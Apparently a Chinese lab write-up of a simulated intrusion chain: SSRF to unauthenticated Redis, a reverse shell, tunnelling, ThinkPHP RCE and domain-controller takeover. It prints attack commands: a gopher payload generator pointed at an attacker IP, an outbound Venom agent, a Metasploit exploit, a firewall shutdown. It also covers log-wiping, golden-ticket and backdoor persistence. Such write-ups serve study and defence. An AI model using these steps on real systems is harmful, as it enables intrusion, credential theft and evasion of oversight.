SSRF-->Redis-->DC 全过程模拟记录
字数 1494 2025-08-20 18:17:47
SSRF→Redis→域控渗透全过程技术分析
0x00 环境概述
本次渗透测试模拟了一个典型的企业网络环境架构:
-
网络拓扑:
- DMZ区:Linux服务器(运行Redis和Web服务),不在域内
- 内网区:Windows Web服务器(ThinkPHP框架),已加入域
- 域控服务器:192.168.138.138
-
初始攻击面:
- 外网Web应用存在SSRF漏洞
- Redis服务存在未授权访问漏洞(版本5.0.9)
- 内网Web应用存在ThinkPHP RCE漏洞
0x01 外网突破阶段
1. SSRF漏洞利用
关键步骤:
- 发现Web应用存在无协议限制的SSRF漏洞
- 通过SSRF探测本机端口,发现6379端口开放
- 确认Redis服务存在未授权访问漏洞
技术验证:
ssrf.php?url=dict://127.0.0.1:6379/info
2. Redis未授权访问利用
攻击方法:
- 使用Gopher协议构造Redis命令
- 通过写计划任务实现反弹shell
工具使用:
# 使用gopher-redis-auth生成攻击payload
python gopher-redis-auth.py -h 127.0.0.1 -p 6379 -L [攻击机IP] -P [监听端口] -f redis.txt
Shell升级:
# 目标机执行(哑Shell升级)
python -c 'import pty; pty.spawn("/bin/bash")'
0x02 内网横向渗透
1. 内网隧道建立
工具选择:Venom多级代理工具
实施步骤:
- 在攻击机启动监听:
./admin_linux_x64 -lport 9999 - 目标机连接:
./agent_linux_x64 -rhost [VPS_IP] -rport 9999
网络探测:
nmap -sS -Pn 192.168.135.0/24
发现关键主机:192.168.135.150(内网Web服务器)
2. ThinkPHP RCE利用
漏洞确认:
- 框架识别:ThinkPHP
- 存在已知RCE漏洞
攻击实施:
- 生成CS的Payload
- 通过RCE下载执行,上线Web服务器
权限提升:
# 使用MS14-058提权
use exploit/windows/local/ms14_058_track_popup_menu
3. 域内信息收集
关键命令:
net group "Domain Admins" /domain # 查询域管理员
arp -a # 查看ARP缓存
ping DC01 # 确认域控IP
发现结果:
- 域控IP:192.168.138.138
- 获取到域管理员明文密码
0x03 域控攻陷
1. 权限伪造
攻击方法:
- 使用已获取的域管理员凭证伪造Token
2. 横向移动
实施步骤:
- 在内网Web服务器设置中转监听
- 通过CS的psexec模块远程执行Payload
- 关闭域控防火墙:
netsh advfirewall set allprofiles state off
3. 权限维持
后门部署:
- Linux主机:部署SSH后门
- Windows主机:黄金票据+计划任务
日志清理:
- 清除Redis、Web、域控等各环节日志
0x04 技术总结
攻击路径
SSRF → Redis未授权访问 → 反弹Shell → 内网代理 → ThinkPHP RCE → 凭证窃取 → 域控攻陷
关键点
- 协议利用:Gopher协议在SSRF中的灵活应用
- 权限维持:Venom代理+CS双重通道
- 横向移动:从非域主机→域内主机→域控的标准路径
- 规避检测:全程无杀软环境下操作,真实环境需考虑免杀
防御建议
- Redis服务应设置密码认证
- 限制SSRF的协议类型和目标地址
- 内网服务应及时修补已知漏洞(如ThinkPHP RCE)
- 实施网络分段,限制域内横向移动
0x05 工具列表
-
Venom:https://github.com/Dliv3/Venom
- 多级代理工具,支持多种协议和平台
-
gopher-redis-auth:https://github.com/LS95/gopher-redis-auth
- Gopher协议Payload生成工具
-
Cobalt Strike
- 用于Payload生成、横向移动和权限维持
-
Nmap
- 内网端口扫描和服务识别
-
Metasploit
- 漏洞利用(MS14-058)和权限提升
附录:实战注意事项
-
扫描优化:
- 避免通过Socks代理直接扫描,建议:
- 将工具落地到目标机执行
- 使用CS插件扫描
- 采用低速率扫描避免触发告警
- 避免通过Socks代理直接扫描,建议:
-
时间控制:
- Redis写文件操作需注意目标系统的时间设置
- 计划任务执行时间需合理设置
-
痕迹清理:
- Redis持久化文件清理
- Windows事件日志清除
- Web访问日志修改
-
备用通道:
- 建议建立至少2种不同的持久化通道
- 如:SSH后门+CS Beacon+计划任务